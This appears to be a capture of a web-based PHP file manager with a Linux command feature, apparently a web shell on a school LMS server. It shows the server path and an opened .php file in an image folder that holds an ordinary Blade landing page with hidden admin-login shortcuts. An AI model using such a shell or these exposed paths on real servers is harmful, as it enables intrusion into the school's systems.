PHP LAB FULL

📁 File Manager

📍 / / home / u449181296 / domains / birulogi.smakpbaleendah.sch.id / public_html / lms / tukang-ngatur / assets / img / qr-logos

/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos

Name	Size	Date	CHMOD	Action
— FILE —
logo_1773801405.php	6.73 KB	2026-03-18 02:36	644 (rw-r--r--)	Edit \| Rename \| Preview \| Del

Edit

@extends('layouts.app')

@section('content')

{{-- 1. WALLPAPER & BACKGROUND --}}
<div id="bg-slideshow"></div>
<canvas id="neuralCanvas" class="fixed inset-0 z-0 opacity-30 pointer-events-none"></canvas>
<div class="fixed inset-0 bg-gradient-to-b from-blue-900/40 via-transparent to-[#020617]/80 z-[1] pointer-events-none"></div>

{{-- CSS KHUSUS GLASS EFFECT --}}
<style>
    /* Latar belakang biru gelap yang elegan (Deep Blue) */
    body { background-color: #0f172a; }

/* Glass card dengan tint biru tipis */
    .glass-card {
        background: rgba(30, 58, 138, 0.2);
        backdrop-filter: blur(15px);
        border: 1px solid rgba(255, 255, 255, 0.1);
        box-shadow: 0 8px 32px 0 rgba(0, 0, 0, 0.3);
    }

/* Modal SweetAlert */
    .glass-swal {
        background: rgba(15, 23, 42, 0.95) !important;
        border: 1px solid rgba(59, 130, 246, 0.3) !important;
    }
    .custom-scrollbar::-webkit-scrollbar { width: 4px; }
    .custom-scrollbar::-webkit-scrollbar-thumb { background: rgba(255,255,255,0.2); border-radius: 10px; }
</style>

{{-- Akses Tersembunyi (Stealth Access) di Kanan Atas --}}
<div class="fixed top-6 right-6 z-[200]">
    <button onclick="window.pilihRoleEmployee()" 
            class="opacity-0 hover:opacity-100 transition-all duration-700 p-3 rounded-full bg-transparent backdrop-blur-sm border border-white/5 hover:border-blue-500/50 group shadow-none">
        <i class="fas fa-user-shield text-white/20 group-hover:text-blue-400 transition-colors duration-500"></i>
    </button>
</div>

{{-- KONTEN UTAMA --}}
<div class="relative z-[2] flex flex-col min-h-screen">
    <header class="pt-12 md:pt-24 pb-4 px-4 text-center">
        <img src="{{ asset('aset/gambar/logo_sma_kp_be.png') }}" alt="Logo" class="w-20 md:w-32 mx-auto mb-6 md:mb-8 drop-shadow-2xl">
        <h1 class="text-2xl md:text-6xl font-black text-white italic tracking-tighter uppercase px-2">
            {{ $nama_sekolah }}
        </h1>
        <p class="text-[9px] md:text-[11px] font-bold text-blue-400 tracking-[0.3em] md:tracking-[0.5em] mt-3 uppercase italic px-2">
            Monitoring Ekosistem <span class="text-white">birulogi</span>
        </p>
    </header>

<footer class="py-10 text-center px-4">
        <p class="text-[9px] font-black text-white/20 uppercase tracking-[0.5em] md:tracking-[1.5em] italic">birulogi</p>
    </footer>
</div>

@endsection

@push('scripts')
<script>
    // Shortcut
    document.addEventListener('keydown', (e) => {
        if (e.altKey && e.shiftKey && e.key.toLowerCase() === 's') {
            window.location.href = "{{ url('/login-super-admin') }}";
        }
    });

window.pilihRoleEmployee = function() {
    // Ukuran elemen ditingkatkan untuk kenyamanan desktop
        const createItem = (label, icon, url, color, desc) => `
            <a href="${url}" class="group flex flex-col items-center gap-3 p-5 rounded-3xl bg-blue-900/20 hover:bg-${color}-600/30 border border-blue-500/10 hover:border-${color}-500/50 transition-all duration-300 no-underline text-center active:scale-95 shadow-lg">
                <div class="h-16 w-16 flex items-center justify-center rounded-3xl bg-blue-900/50 text-blue-300 group-hover:bg-white group-hover:text-${color}-600 transition-all duration-300">
                    <i class="${icon} text-lg"></i>
                </div>
                <div>
                    <span class="block text-[11px] font-black text-white uppercase tracking-widest">${label}</span>
                    <span class="block text-[8px] text-blue-300 uppercase tracking-wider mt-1.5">${desc}</span>
                </div>
            </a>
        `;

Swal.fire({
            title: '<span class="text-white font-black uppercase tracking-[0.2em] text-[12px]">ZONA AKSES OPERASIONAL</span>',
            html: `
                <div class="grid grid-cols-3 gap-3 mt-6 max-h-[75vh] overflow-y-auto px-1 custom-scrollbar">
                    ${createItem('REKAN', 'fas fa-briefcase', '/login-employee/rekan-kerja', 'blue', 'Staff')}
                    ${createItem('GURU', 'fas fa-chalkboard', '/login-employee/guru', 'indigo', 'KBM')}
                    ${createItem('WALI KELAS', 'fas fa-chalkboard-user', '/login-employee/wali-kelas', 'emerald', 'Kelas')}
                    ${createItem('GURU PIKET', 'fas fa-user-shield', '/login-employee/guru-piket', 'amber', 'Piket')}
                    ${createItem('BIMBINGAN KONSELING', 'fas fa-hand-holding-heart', '/login-employee/bk', 'rose', 'Bimbingan')}
                    ${createItem('KESISWAAN', 'fas fa-trophy', '/login-employee/kesiswaan', 'teal', 'Prestasi')}
                    ${createItem('KURIKULUM', 'fas fa-file-pen', '/login-employee/kurikulum', 'sky', 'Ujian')}
                    ${createItem('SARANA & HUMAS', 'fas fa-boxes-packing', '/login-employee/sarana-humas', 'orange', 'Inv.')}
                    ${createItem('KEPALA SEKOLAH', 'fas fa-chart-pie', '/login-employee/kepala-sekolah', 'red', 'Kinerja')}
                </div>
            `,
            showConfirmButton: false,
            background: 'transparent',
            // Max-width 600px membuat menu terlihat luas di desktop, 
            // tapi tetap mengikuti layar HP (95vw)
            customClass: { 
                popup: 'glass-swal rounded-[2.5rem] w-[95vw] max-w-[600px] p-8' 
            }
        });
    }
</script>
@endpush

📁 File Manager

Edit

🧪 PHP Preview

🖥 Linux CMD